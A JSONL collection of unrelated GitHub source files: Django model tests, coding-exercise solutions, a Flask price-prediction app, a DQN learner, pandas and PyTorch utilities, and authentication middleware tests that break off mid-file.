+{"seq_id":"24909506908","text":"import pytest\n\nfrom hawc.apps.animal import models\nfrom hawc.apps.assessment.models import Species, Strain\nfrom hawc.apps.study.models import Study\n\n\n@pytest.mark.django_db\nclass TestAnimalGroup:\n def test_can_delete(self):\n study = Study.objects.get(pk=1)\n experiment = models.Experiment(\n study=study,\n name=\"test\",\n type=\"Rp\",\n )\n experiment.save()\n species = Species.objects.get(pk=1)\n strain = Strain.objects.get(pk=1)\n dr = models.DosingRegime(route_of_exposure=\"OR\")\n dr.save()\n parent = models.AnimalGroup(\n experiment=experiment,\n name=\"parent\",\n sex=\"C\",\n dosing_regime=dr,\n species=species,\n strain=strain,\n )\n dr.dosed_animals = parent\n parent.save()\n dr.save()\n child = models.AnimalGroup(\n experiment=experiment,\n name=\"child\",\n sex=\"C\",\n dosing_regime=dr,\n species=species,\n strain=strain,\n )\n child.save()\n assert parent.can_delete() is False\n assert child.can_delete() is True\n child.delete()\n assert parent.can_delete() is True\n\n # animal group with no dosing regime can be deleted\n parent.dosing_regime = None\n assert parent.can_delete() is True\n\n\n@pytest.mark.django_db\nclass TestEndpoint:\n def test_save(self, db_keys):\n # make sure our strip() methods work\n instance = models.Endpoint.objects.get(id=db_keys.endpoint_working)\n assert instance.system == \"\"\n instance.system = \" \"\n instance.save()\n assert instance.system == \"\"\n\n\ndef _check_percent_control(inputs, outputs, data_type):\n data = [{\"n\": el[1], \"response\": el[2], \"stdev\": el[3]} for el in inputs]\n models.EndpointGroup.percentControl(data_type, data)\n for i, d in enumerate(outputs):\n if outputs[i][0] is None:\n assert outputs[i][0] == data[i][\"percentControlMean\"]\n else:\n assert outputs[i][0] == pytest.approx(data[i][\"percentControlMean\"])\n\n if outputs[i][1] is None:\n assert outputs[i][1] == data[i][\"percentControlLow\"]\n else:\n assert outputs[i][1] == pytest.approx(data[i][\"percentControlLow\"])\n\n if outputs[i][2] is None:\n assert outputs[i][2] == data[i][\"percentControlHigh\"]\n else:\n assert outputs[i][2] == pytest.approx(data[i][\"percentControlHigh\"])\n\n\ndef test_endpoint_group_percent_control():\n # increasing\n inputs = [\n (0, 10, 15.1, 3.5),\n (100, 9, 25.5, 7.8),\n (200, 8, 35.7, 13.3),\n (300, 7, 150.1, 23.1),\n ]\n outputs = [\n (0.0, -20.3171209611, 20.3171209611),\n (68.8741721854, 27.3103479282, 110.437996443),\n (136.42384106, 66.5736748386, 206.274007281),\n (894.039735099, 711.728201234, 1076.35126896),\n ]\n _check_percent_control(inputs, outputs, \"C\")\n\n # decreasing\n inputs = [\n (0, 7, 150.1, 15.1),\n (100, 8, 35.7, 13.3),\n (200, 9, 25.5, 7.8),\n (300, 10, 15.1, 3.5),\n ]\n outputs = [\n (0.0, -10.5394586484, 10.5394586484),\n (-76.2158560959, -82.6067710106, -69.8249411813),\n (-83.0113257828, -86.634786933, -79.3878646326),\n (-89.9400399734, -91.5681779063, -88.3119020404),\n ]\n _check_percent_control(inputs, outputs, \"C\")\n\n # edge case\n inputs = [\n (0, 7, 150.1, 15.1),\n (100, 7, 150.1, 15.1),\n (200, 700, 150.1, 15.1),\n (300, 10, 0, 15),\n ]\n outputs = [\n (0.0, -10.5394586484, 10.5394586484),\n (0.0, -10.5394586484, 10.5394586484),\n (0.0, -7.48969260009, 7.48969260009),\n (None, None, None),\n ]\n _check_percent_control(inputs, outputs, \"C\")\n\n # none cases\n inputs = [\n (0, 7, 150.1, None),\n (0, 7, 0, 3),\n ]\n outputs = [\n (0.0, None, None),\n (None, None, None),\n ]\n _check_percent_control(inputs, outputs, \"C\")\n\n inputs = [\n (0, 7, 0, 3),\n (0, 7, 150.1, None),\n ]\n outputs = [\n (None, None, None),\n (None, None, None),\n ]\n _check_percent_control(inputs, outputs, \"C\")\n\n\ndef test_percent_control():\n egs = [{\"response\": 1, \"lower_ci\": 2, \"upper_ci\": 3}]\n models.EndpointGroup.percentControl(\"P\", egs)\n assert 1 == pytest.approx(egs[0][\"percentControlMean\"])\n assert 2 == pytest.approx(egs[0][\"percentControlLow\"])\n assert 3 == pytest.approx(egs[0][\"percentControlHigh\"])\n\n\nclass TestConfidenceIntervalsMixin:\n def testGetConfidenceIntervals_continuous(self):\n # test invalid data\n data = [\n {\"n\": None, \"response\": 10, \"stdev\": 1},\n {\"n\": 0, \"response\": 10, \"stdev\": 1},\n {\"n\": 30, \"response\": None, \"stdev\": 1},\n {\"n\": 30, \"response\": 10, \"stdev\": None},\n ]\n models.ConfidenceIntervalsMixin.getConfidenceIntervals(\"C\", data)\n for item in data:\n assert \"lower_ci\" not in item\n assert \"upper_ci\" not in item\n\n # test valid data\n data = [\n {\"n\": 30, \"response\": 10, \"stdev\": 1},\n {\"n\": 10, \"response\": 10, \"stdev\": 1},\n ]\n models.ConfidenceIntervalsMixin.getConfidenceIntervals(\"C\", data)\n lowers = list(map(lambda d: d[\"lower_ci\"], data))\n uppers = list(map(lambda d: d[\"upper_ci\"], data))\n assert pytest.approx([9.62, 9.28], abs=0.1) == lowers\n assert pytest.approx([10.37, 10.72], abs=0.1) == uppers\n\n def testGetConfidenceIntervals_dichtomous(self):\n # test invalid data\n data = [\n {\"n\": None, \"incidence\": 10},\n {\"n\": 0, \"incidence\": 10},\n {\"n\": 30, \"incidence\": None},\n ]\n models.ConfidenceIntervalsMixin.getConfidenceIntervals(\"D\", data)\n for item in data:\n assert \"lower_ci\" not in item\n assert \"upper_ci\" not in item\n\n # test valid data\n data = [\n {\"n\": 10, \"incidence\": 0},\n {\"n\": 10, \"incidence\": 10},\n {\"n\": 100, \"incidence\": 0},\n {\"n\": 100, \"incidence\": 100},\n ]\n models.ConfidenceIntervalsMixin.getConfidenceIntervals(\"D\", data)\n lowers = list(map(lambda d: d[\"lower_ci\"], data))\n uppers = list(map(lambda d: d[\"upper_ci\"], data))\n assert pytest.approx([0.0092, 0.6554, 0.0009, 0.9538], abs=0.001) == lowers\n assert pytest.approx([0.3474, 0.9960, 0.0461, 0.9991], abs=0.001) == uppers\n\n\n@pytest.mark.django_db\ndef test_heatmap_df(db_keys):\n df = models.Endpoint.heatmap_df(db_keys.assessment_final, True)\n expected_columns = [\n \"study id\",\n \"study citation\",\n \"study identifier\",\n \"overall study evaluation\",\n \"experiment id\",\n \"experiment name\",\n \"experiment type\",\n \"treatment period\",\n \"experiment cas\",\n \"experiment dtxsid\",\n \"experiment chemical\",\n \"animal group id\",\n \"animal group name\",\n \"animal description\",\n \"animal description, with n\",\n \"species\",\n \"strain\",\n \"sex\",\n \"generation\",\n \"route of exposure\",\n \"endpoint id\",\n \"system\",\n \"organ\",\n \"effect\",\n \"effect subtype\",\n \"endpoint name\",\n \"diagnostic\",\n \"observation time\",\n ]\n assert df.columns.tolist() == expected_columns\n","repo_name":"shapiromatron/hawc","sub_path":"tests/hawc/apps/animal/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":7507,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"}
+{"seq_id":"22578089291","text":"#!/bin/python3\r\n\r\nimport math\r\nimport os\r\nimport random\r\nimport re\r\nimport sys\r\n\r\ndef hourglass(arr):\r\n val = -10000\r\n x = len(arr)\r\n y = len(arr[0])\r\n\r\n for i in range(x-2):\r\n val_v = 0\r\n for j in range(y-2):\r\n val_v = arr[i][j]+arr[i][j+1]+arr[i][j+2]+arr[i+2][j+2]+arr[i+1][j+1]+arr[i+2][j+1]+arr[i+2][j]\r\n\r\n if val_v>val:\r\n val = val_v\r\n return val\r\n\r\n\r\nif __name__ == '__main__':\r\n arr = []\r\n\r\n for _ in range(6):\r\n arr.append(list(map(int, input().rstrip().split())))\r\n\r\nprint(hourglass(arr))\r\n","repo_name":"rajnish-13547/Hackerrank-30-day-Code","sub_path":"Day 11 2D Arrays.py","file_name":"Day 11 2D Arrays.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"44467977554","text":"# python3\n\ndef read_input():\n # this function needs to aquire input both from keyboard and file\n # as before, use capital i (input from keyboard) and capital f (input from file) to choose which input type will follow\n choice = input()\n if \"I\" in choice:\n pattern = input()\n text = input()\n else:\n folder = \"tests/06\"\n with open(folder, \"r\") as files:\n pattern = files.readline()\n text = files.readline()\n \n return (pattern.rstrip(), text.rstrip())\n # after input type choice\n # read two lines \n # first line is pattern \n # second line is text in which to look for pattern \n # return both lines in one return\n # this is the sample return, notice the rstrip function\n\ndef print_occurrences(output):\n # this function should control output, it doesn't need any return\n print(' '.join(map(str, output)))\n\ndef hash_func(s, prime, x):\n h = 0\n for c in reversed(s):\n h = (h * x + ord(c)) % prime\n return h\n\ndef get_occurrences(pattern, text):\n # this function should find the occurrences using Rabin Karp algorithm\n prime = 10**9 + 7\n x = 263\n p_len = len(pattern)\n t_len = len(text)\n p_hash = hash_func(pattern, prime, x)\n t_hashes = [hash_func(text[i:i+p_len], prime, x) for i in range(t_len-p_len+1)]\n occurrences = [i for i in range(t_len-p_len+1) if t_hashes[i] == p_hash]\n return occurrences\n\n# this part launches the functions\nif __name__ == '__main__':\n print_occurrences(get_occurrences(*read_input()))\n\n","repo_name":"DA-testa/string-pattern-KaterinaSinicka-221RDB179","sub_path":"hash_substring.py","file_name":"hash_substring.py","file_ext":"py","file_size_in_byte":1546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"14520240021","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[145]:\n\n\nimport numpy as np # for manipulation\nimport pandas as pd # for data loading\n\nfrom sklearn.preprocessing import StandardScaler # for scaling the attributes\nfrom sklearn.preprocessing import OneHotEncoder # for handling categorical features\nfrom sklearn.impute import SimpleImputer # for handling missing data\n\nimport pickle # for importing model\n\nfrom flask import Flask, request, jsonify, render_template # for handling web service\n\n# model and fitted object loading\nmodel = pickle.load(open('houseregressionmodel.pkl', 'rb'))\nimputer = pickle.load(open('houseimputer.pkl', 'rb'))\nscaler = pickle.load(open('housescaler.pkl', 'rb'))\nohencoder = pickle.load(open('houseohencoder.pkl', 'rb'))\n\n# Flask instantiation\napp = Flask(__name__, template_folder='templates')\n\n# Custom class for combined attributes\nclass CombinedAttributesAdder(): \n def fit(self, X, y=None):\n return self\n def transform(self, X, rooms_ix, bedrooms_ix, population_ix, households_ix):\n rooms_per_household = X[:, rooms_ix] / X[:, households_ix]\n population_per_household = X[:, population_ix] / X[:, households_ix]\n bedrooms_per_room = X[:, bedrooms_ix] / X[:, rooms_ix]\n \n X = np.delete(X, [households_ix, rooms_ix, population_ix, bedrooms_ix], 1)\n \n return np.c_[X, rooms_per_household, population_per_household, bedrooms_per_room]\n \n# class for data preprocessing\nclass data_preprocessing():\n def __init__(self):\n self.imputer = imputer\n self.attr_add = CombinedAttributesAdder()\n self.stdscale = scaler\n self.ohe = ohencoder\n \n def transform(self, X, rooms_ix, bedrooms_ix, population_ix, households_ix): \n # transform the test data (use the fitted imputer, \n # standardscaler, onehotencoder, \n # combinedattribute from training)\n house_num = X.drop(\"ocean_proximity\", axis=1)\n house_cat = X[[\"ocean_proximity\"]]\n \n # handle missing data\n X_test_imp = self.imputer.transform(house_num)\n X_test_imp = pd.DataFrame(X_test_imp, columns=house_num.columns, index=X.index)\n \n # combined attributes\n housing_addtl_attr = self.attr_add.transform(X_test_imp.values, rooms_ix, \n bedrooms_ix, population_ix, households_ix)\n \n # scale the features\n X_test_imp_scaled = self.stdscale.transform(housing_addtl_attr)\n \n # handle categorical input feature\n X_test_ohe = self.ohe.transform(house_cat)\n \n # concatenate features\n X_test = np.concatenate([X_test_imp_scaled, X_test_ohe], axis=1)\n \n return X_test\n \n@app.route('/', methods=['GET', 'POST'])\ndef index():\n if request.method == 'GET':\n return(render_template('index.html'))\n if request.method == 'POST':\n # get input values\n longitude = float(request.form['longitude'])\n latitude = float(request.form['latitude'])\n housingmedianage = float(request.form['housingmedianage'])\n totalrooms = float(request.form['totalrooms'])\n totalbedrooms = request.form['totalbedrooms'] \n population = float(request.form['population'])\n households = float(request.form['households'])\n medianincome = float(request.form['medianincome'])\n oceanproximity = request.form['oceanproximity']\n \n # handle missing input in total_bedrooms attribute\n if totalbedrooms == '':\n totalbedrooms = float('nan')\n else:\n totalbedrooms = float(totalbedrooms)\n \n # new category creation by assuming median income is a very important attribute \n income_cat = pd.cut([medianincome],\n bins=[0., 1.5, 3.0, 4.5, 6., np.inf],\n labels=[1, 2, 3, 4, 5])\n \n # convert input data to dataframe\n inputs_ = {'longitude': longitude,\n 'latitude': latitude,\n 'housing_median_age': housingmedianage,\n 'total_rooms': totalrooms,\n 'total_bedrooms': totalbedrooms,\n 'population': population,\n 'households': households,\n 'median_income': medianincome,\n 'ocean_proximity': oceanproximity,\n 'income_cat': income_cat}\n \n inputs_df = pd.DataFrame(inputs_)\n \n # get the column indices to be used in getting additional attributes\n col_names = [\"total_rooms\", \"total_bedrooms\", \"population\", \"households\"]\n rooms_ix, bedrooms_ix, population_ix, households_ix = [\n inputs_df.columns.get_loc(c) for c in col_names] # get the column indices\n \n # preprocess the inputs\n preprocessing_ = data_preprocessing()\n inputs_preprocessed = preprocessing_.transform(inputs_df, rooms_ix, bedrooms_ix, \n population_ix, households_ix)\n \n # predict the price\n prediction = model.predict(inputs_preprocessed)\n \n return render_template('index.html', result=prediction[0]) \n\n# running the application for serving\nif __name__ == '__main__':\n app.run(host=\"128.134.65.180\")\n\n","repo_name":"annjelyntiempo/housepredictionwebapp","sub_path":"oneoff_app.py","file_name":"oneoff_app.py","file_ext":"py","file_size_in_byte":5405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"32572574289","text":"from pyhtmlgui import Observable\nfrom .counter import Counter\nfrom .countersInDict import CounterInDict\nfrom .countersInList import CounterInList\nfrom .twoCounters import TwoCounters\n\n\nclass App(Observable):\n def __init__(self):\n super().__init__()\n self.counter = Counter()\n self.countersInDict = CounterInDict()\n self.countersInList = CounterInList()\n self.twoCounters = TwoCounters()\n\n def on_view_connected(self, nr_of_instances, nr_of_connections):\n print(\"View connected:\", nr_of_instances, nr_of_connections)\n\n def on_view_disconnected(self, nr_of_instances, nr_of_connections):\n print(\"View disconnected:\", nr_of_instances, nr_of_connections)\n if nr_of_instances == 0:\n print(\"No more frontends connected, exit now\")\n exit(0)\n","repo_name":"dirk-makerhafen/pyHtmlGui","sub_path":"examples/full/src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"72"}
+{"seq_id":"20515841141","text":"with open(\"input18.txt\", \"r\") as f:\n lines = f.readlines()\n\n\ndef bracket(line, part2=False):\n n = 1\n tmp = []\n while n > 0:\n a, *line = line\n if a == \"(\":\n n += 1\n if a == \")\":\n n -= 1\n tmp.append(a)\n return evaluate(tmp[:-1], part2=part2), line\n\n\ndef nextoperand(line, part2=False):\n a, *line = line\n if a == \"(\":\n return bracket(line, part2=part2)\n elif a.isdigit():\n return int(a), line\n\n\ndef evaluate(line, res=None, part2=False):\n if not line:\n return res\n if res is None:\n x, line = nextoperand(line)\n return evaluate(line, x, part2)\n a, *line = line\n if a == \"*\":\n if part2:\n return res * evaluate(line, part2=part2)\n else:\n x, line = nextoperand(line)\n return evaluate(line, res * x, part2=part2)\n if a == \"+\":\n x, line = nextoperand(line)\n return evaluate(line, res + x, part2=part2)\n\n\nprint(sum([evaluate(list(\"\".join(line.split()))) for line in lines]))\nprint(sum([evaluate(list(\"\".join(line.split())), part2=True) for line in lines]))\n","repo_name":"dbeutel/adventofcode","sub_path":"2020/day18.py","file_name":"day18.py","file_ext":"py","file_size_in_byte":1132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"5747757101","text":"#!/usr/bin/env python3\n\nfrom pathlib import Path\nfrom typing import Callable, Dict, List, Tuple, Union\n\nimport torch\nfrom torch import Tensor, einsum\nfrom PIL import Image, ImageOps\nfrom torch.utils.data import Dataset\n\n\ndef make_dataset(root, subset) -> List[Tuple[Path, Path, Path]]:\n assert subset in ['train', 'val', 'test']\n\n root = Path(root)\n\n img_path = root / subset / 'img'\n full_path = root / subset / 'gt'\n weak_path = root / subset / 'weak'\n\n images = sorted(img_path.glob(\"*.png\"))\n full_labels = sorted(full_path.glob(\"*.png\"))\n weak_labels = sorted(weak_path.glob(\"*.png\"))\n\n return list(zip(images, full_labels, weak_labels))\n\n\nclass SliceDataset(Dataset):\n def __init__(self, subset, root_dir, transform=None,\n mask_transform=None, augment=False, equalize=False):\n self.root_dir: str = root_dir\n self.transform: Callable = transform\n self.mask_transform: Callable = mask_transform\n self.augmentation: bool = augment\n self.equalize: bool = equalize\n\n self.files = make_dataset(root_dir, subset)\n\n print(f\">> Created {subset} dataset with {len(self)} images...\")\n\n def __len__(self):\n return len(self.files)\n\n def __getitem__(self, index) -> Dict[str, Union[Tensor, int, str]]:\n img_path, gt_path, weak_path = self.files[index]\n\n img = Image.open(img_path)\n mask = Image.open(gt_path)\n weak_mask = Image.open(weak_path)\n\n if self.equalize:\n img = ImageOps.equalize(img)\n\n if self.transform:\n img = self.transform(img)\n mask = self.mask_transform(mask)\n weak_mask = self.mask_transform(weak_mask)\n\n _, W, H = img.shape\n K, _, _ = mask.shape\n assert mask.shape == weak_mask.shape == (K, W, H)\n\n # Circle: 8011\n true_size = einsum(\"kwh->k\", mask).type(torch.float32)\n bounds = einsum(\"k,b->kb\", true_size, torch.tensor([0.9, 1.1], dtype=torch.float32))\n assert bounds.shape == (K, 2) # binary, upper and lower bounds\n\n return {\"img\": img,\n \"full_mask\": mask,\n \"weak_mask\": weak_mask,\n \"path\": str(img_path),\n \"true_size\": true_size,\n \"bounds\": bounds}\n","repo_name":"LIVIAETS/miccai_weakly_supervised_tutorial","sub_path":"code/utils/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":2291,"program_lang":"python","lang":"en","doc_type":"code","stars":91,"dataset":"github-code","pt":"72"}
+{"seq_id":"256358912","text":"\"\"\"\n@Name: token\n@Version: \n@Project: PyCharm\n@Author: wangmin\n@Data: 2018/6/11\n\"\"\"\n\nimport xlrd\nfrom config.cnf import Config\n# import json\n\nclass ExcelData(Config):\n def __init__(self):\n super(ExcelData, self).__init__()\n self.config = Config()\n self.data_address = self.config.get_config('DATABASE', 'data_address')\n self.workbook = xlrd.open_workbook(self.data_address, 'utf-8')\n\n def readData(self, table_name):\n\n \"\"\"\n\n :param table_name: 工作表名称\n :return: 以list返回每个工作表中的所有数据\n \"\"\"\n self.table = self.workbook.sheet_by_name(table_name)\n self.row = self.table.row_values(0) # 获取行title\n self.rowNum = self.table.nrows # 获取行数量\n self.colNum = self.table.ncols # 获取列数量\n self.curRowNo = 1 # the current column\n\n r = []\n while self.hasNext():\n s = {}\n col = self.table.row_values(self.curRowNo)\n i = self.colNum\n for x in range(i):\n s[self.row[x]] = col[x]\n r.append(s)\n self.curRowNo += 1\n return r\n\n def next(self):\n r = []\n while self.hasNext():\n s = {}\n col = self.table.row_values(self.curRowNo)\n i = self.colNum\n for x in range(i):\n s[self.row[x]] = col[x]\n r.append(s)\n self.curRowNo += 1\n\n return r\n\n def hasNext(self):\n if self.rowNum == 0 or self.rowNum <= self.curRowNo:\n return False\n else:\n return True\n\n","repo_name":"zimengrao/PythonLearn","sub_path":"learn2020_03/practice/yinyueriji/lib/web/gettoken.py","file_name":"gettoken.py","file_ext":"py","file_size_in_byte":1623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"17456087002","text":"'''\nSlicing MultiIndexed DataFrames\n\nThis exercise picks up where the last ended (again using The Guardian's Olympic medal dataset).\n\nYou are provided with the MultiIndexed DataFrame as produced at the end of the preceding exercise. Your task is to sort the DataFrame and to use the pd.IndexSlice to extract specific slices. Check out this exercise from Manipulating DataFrames with pandas to refresh your memory on how to deal with MultiIndexed DataFrames.\n\npandas has been imported for you as pd and the DataFrame medals is already in your namespace.\n'''\n\nimport pandas as pd\n\nmedals = []\nmedal_types = ['bronze', 'silver', 'gold']\n\nfor medal in medal_types:\n\n file_name = \"../datasets/summer-olympic-medals/%s_top5.csv\" % medal\n\n # Read file_name into a DataFrame: medal_df\n medal_df = pd.read_csv(file_name, index_col='Country')\n \n # Append medal_df to medals\n medals.append(medal_df)\n\n# Concatenate medals: medals\nmedals = pd.concat(medals, keys=['bronze', 'silver', 'gold'])\n\n'''\nINSTRUCTIONS\n\n* Create a new DataFrame medals_sorted with the entries of medals sorted. Use .sort_index(level=0) to ensure the Index is sorted suitably.\n* Print the number of bronze medals won by Germany and all of the silver medal data. This has been done for you.\n* Create an alias for pd.IndexSlice called idx. A slicer pd.IndexSlice is required when slicing on the inner level of a MultiIndex.\n* Slice all the data on medals won by the United Kingdom. To do this, use the .loc[] accessor with idx[:,'United Kingdom'], :.\n'''\n\n# Sort the entries of medals\nmedals_sorted = medals.sort_index(level=0)\n\n# Print the number of Bronze medals won by Germany\nprint(medals_sorted.loc[('bronze','Germany')])\n\n# Print data about silver medals\nprint(medals_sorted.loc['silver'])\n\n# Create alias for pd.IndexSlice: idx\nidx = pd.IndexSlice\n\n# Print all the data on medals won by the United Kingdom\nprint(medals_sorted.loc[idx[:,'United Kingdom'], :])\n\n'''\n> medals\n Total\n Country \nbronze United States 1052.0\n Soviet Union 584.0\n United Kingdom 505.0\n France 475.0\n Germany 454.0\nsilver United States 1195.0\n Soviet Union 627.0\n United Kingdom 591.0\n France 461.0\n Italy 394.0\ngold United States 2088.0\n Soviet Union 838.0\n United Kingdom 498.0\n Italy 460.0\n Germany 407.0\n\n> medals_sorted\n Total\n Country \nbronze France 475.0\n Germany 454.0\n Soviet Union 584.0\n United Kingdom 505.0\n United States 1052.0\ngold Germany 407.0\n Italy 460.0\n Soviet Union 838.0\n United Kingdom 498.0\n United States 2088.0\nsilver France 461.0\n Italy 394.0\n Soviet Union 627.0\n United Kingdom 591.0\n United States 1195.0\n\n> medals_sorted.loc[('bronze','Germany')]\nTotal 454.0\nName: (bronze, Germany), dtype: float64\n\n> medals_sorted.loc['silver']\n Total\nCountry \nFrance 461.0\nItaly 394.0\nSoviet Union 627.0\nUnited Kingdom 591.0\nUnited States 1195.0\n\n> medals_sorted.loc[idx[:,'United Kingdom'], :]\n Total\n Country\nbronze United Kingdom 505.0\ngold United Kingdom 498.0\nsilver United Kingdom 591.0\n'''","repo_name":"sashakrasnov/datacamp","sub_path":"10-merging-dataframes-with-pandas/2-concatenating-data/07-slicing-multiindexed-dataframes.py","file_name":"07-slicing-multiindexed-dataframes.py","file_ext":"py","file_size_in_byte":3476,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"72"}
+{"seq_id":"6703247881","text":"N = 100000\nv = [0 for x in range(N)]\ndef crivo():\n i = 2\n while i*i < N:\n j = i*i\n while j < N:\n v[j] = 1\n j += i\n i += 1\n\ndef count(a,b):\n n = 0\n while True:\n if abs(v[n*n + a*n + b]) != 0:\n break\n n += 1\n return n\n\nans = 0\nmaxn = 0\ncrivo()\nfor i in range(-1000,1001):\n for j in range(-1000,1001):\n c = count(i,j)\n if c > maxn:\n maxn = c\n ans = i*j\n\nprint(ans)\n","repo_name":"gabrielrussoc/competitive-programming","sub_path":"project-euler/27.py","file_name":"27.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"72"}
+{"seq_id":"74068336231","text":"\n\nfrom agent.dqn import PolicyNetwork\nfrom agent.replay_memory import ReplayMemory\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\n\n\nclass Learner():\n def __init__(self, \n replay_memory:ReplayMemory, \n observation_space_size:int, \n action_space_size:int, \n device:torch.device, \n learning_rate:float=1e-4, \n gamma:float=0.99, \n tau:float=0.005, \n batch_size:int=128,\n hidden_layer1:int=64,\n hidden_layer2:int=64,\n ):\n self.policy_net = PolicyNetwork(observation_space_size, action_space_size,hidden_layer1,hidden_layer2).to(device)\n self.target_net = PolicyNetwork(observation_space_size, action_space_size,hidden_layer1,hidden_layer2).to(device)\n self.target_net.load_state_dict(self.policy_net.state_dict())\n\n self.optimizer = optim.AdamW(self.policy_net.parameters(), lr=learning_rate, amsgrad=True)\n self.memory = replay_memory\n self.gamma=gamma\n self.tau=tau\n self.batch_size=batch_size\n self.device=device\n\n\n def optimize_model(self):\n batch = self.memory.get_batch(self.batch_size)\n if batch is None:\n return\n\n # Compute a mask of non-final states and concatenate the batch elements\n # (a final state would've been the one after which simulation ended)\n non_final_mask = torch.tensor(tuple(map(lambda s: s is not None, \n batch.next_state)), device=self.device, dtype=torch.bool)\n aux=[s for s in batch.next_state if s is not None]\n non_final_next_states = torch.cat(aux)\n state_batch = torch.cat(batch.state)\n action_batch = torch.cat(batch.action)\n reward_batch = torch.cat(batch.reward)\n\n # Compute Q(s_t, a) - the model computes Q(s_t), then we select the\n # columns of actions taken. These are the actions which would've been taken\n # for each batch state according to policy_net\n state_action_values = self.policy_net(state_batch).gather(1, action_batch)\n\n # Compute V(s_{t+1}) for all next states.\n # Expected values of actions for non_final_next_states are computed based\n # on the \"older\" target_net; selecting their best reward with max(1)[0].\n # This is merged based on the mask, such that we'll have either the expected\n # state value or 0 in case the state was final.\n next_state_values = torch.zeros(self.batch_size, device=self.device)\n with torch.no_grad():\n next_state_values[non_final_mask] = self.target_net(non_final_next_states).max(1)[0]\n # Compute the expected Q values\n expected_state_action_values = (next_state_values * self.gamma) + reward_batch\n\n # Compute Huber loss\n criterion = nn.SmoothL1Loss()\n loss = criterion(state_action_values, expected_state_action_values.unsqueeze(1)) ## Essa é a linha que determina que o modelo é uma DDQN ao invés de uma DQN\n\n # Optimize the model\n self.optimizer.zero_grad()\n loss.backward()\n # In-place gradient clipping\n torch.nn.utils.clip_grad_value_(self.policy_net.parameters(), 100)\n self.optimizer.step()\n\n def update_target_network(self):\n # Soft update of the target network's weights\n # θ′ ← τ θ + (1 −τ )θ′\n target_net_state_dict = self.target_net.state_dict()\n policy_net_state_dict = self.policy_net.state_dict()\n for key in policy_net_state_dict:\n target_net_state_dict[key] = policy_net_state_dict[key]*self.tau + target_net_state_dict[key]*(1-self.tau)\n self.target_net.load_state_dict(target_net_state_dict)","repo_name":"lhcnetop/reinforcement_learning_dataframe_matching","sub_path":"agent/learner.py","file_name":"learner.py","file_ext":"py","file_size_in_byte":3859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"167093859","text":"import pytest\nfrom aiohttp import hdrs, web_urldispatcher\n\nfrom sendr_interactions.clients.blackbox import AbstractBlackBoxClient, OauthResult, SessionIdResult\nfrom sendr_interactions.clients.blackbox.exceptions import BlackBoxInvalidSessionError\n\nfrom hamcrest import assert_that, equal_to, has_item, has_properties\n\nfrom sendr_auth.blackbox import AuthenticationException, BlackboxAuthenticator\nfrom sendr_auth.entities import AuthenticationMethod, User\nfrom sendr_auth.middlewares import create_blackbox_middleware, optional_authentication, skip_authentication\n\nFAKE_USER_TICKET = 'fake_tvm_user_ticket'\nFAKE_LOGIN_ID = 'fake_login_id'\nFAKE_OAUTH_CLIENT_ID = 'fake_oauth_client_id'\n\n\n@pytest.fixture\ndef expected_uid(request):\n return getattr(request, 'param', 4029320686)\n\n\n@pytest.fixture\ndef blackbox_client(mocked_logger):\n return AbstractBlackBoxClient(logger=mocked_logger, request_id='')\n\n\nclass TestSessionId:\n @pytest.fixture\n def params(self, blackbox_client, mocked_logger):\n return {\n 'client': blackbox_client,\n 'scopes': None,\n 'authorization_header': None,\n 'session_id': 'session_id',\n 'user_ip': '192.0.2.1',\n 'default_uid': None,\n 'host': 'ya.ru',\n 'logger': mocked_logger,\n 'allowed_oauth_client_ids': None,\n }\n\n @pytest.fixture(autouse=True)\n def mock_blackbox(self, mocker, expected_uid):\n return mocker.patch.object(\n AbstractBlackBoxClient,\n 'get_session_info',\n mocker.AsyncMock(return_value=SessionIdResult(expected_uid, FAKE_LOGIN_ID, FAKE_USER_TICKET, True)),\n )\n\n @pytest.mark.asyncio\n async def test_returns_expected_user(self, params, expected_uid, mocked_logger):\n assert_that(\n await BlackboxAuthenticator(**params).get_user(),\n has_properties(\n uid=expected_uid,\n tvm_ticket=FAKE_USER_TICKET,\n login_id=FAKE_LOGIN_ID,\n auth_method=AuthenticationMethod.SESSION,\n is_yandexoid=True,\n ),\n )\n\n assert_that(\n mocked_logger.context_push.call_args_list,\n has_item(\n has_properties(\n kwargs=dict(uid=expected_uid, login_id=FAKE_LOGIN_ID, auth_source=AuthenticationMethod.SESSION)\n )\n )\n )\n\n @pytest.mark.asyncio\n async def test_invalid_session_id(self, mock_blackbox, params):\n mock_blackbox.side_effect = BlackBoxInvalidSessionError\n with pytest.raises(AuthenticationException):\n await BlackboxAuthenticator(**params).get_user()\n\n @pytest.mark.asyncio\n async def test_empty_session_id(self, mock_blackbox, params):\n params['session_id'] = ''\n with pytest.raises(AuthenticationException):\n await BlackboxAuthenticator(**params).get_user()\n\n @pytest.mark.asyncio\n async def test_blackbox_call(self, mock_blackbox, params):\n params['session_id'] = 'abc'\n params['default_uid'] = '12345'\n await BlackboxAuthenticator(**params).get_user()\n mock_blackbox.assert_called_once_with(\n session_id='abc',\n default_uid=12345,\n user_ip='192.0.2.1',\n host='ya.ru',\n get_user_ticket=True,\n )\n\n\nclass TestOAuth:\n @pytest.fixture\n def params(self, blackbox_client, mocked_logger):\n return {\n 'client': blackbox_client,\n 'scopes': [],\n 'authorization_header': 'oauth token',\n 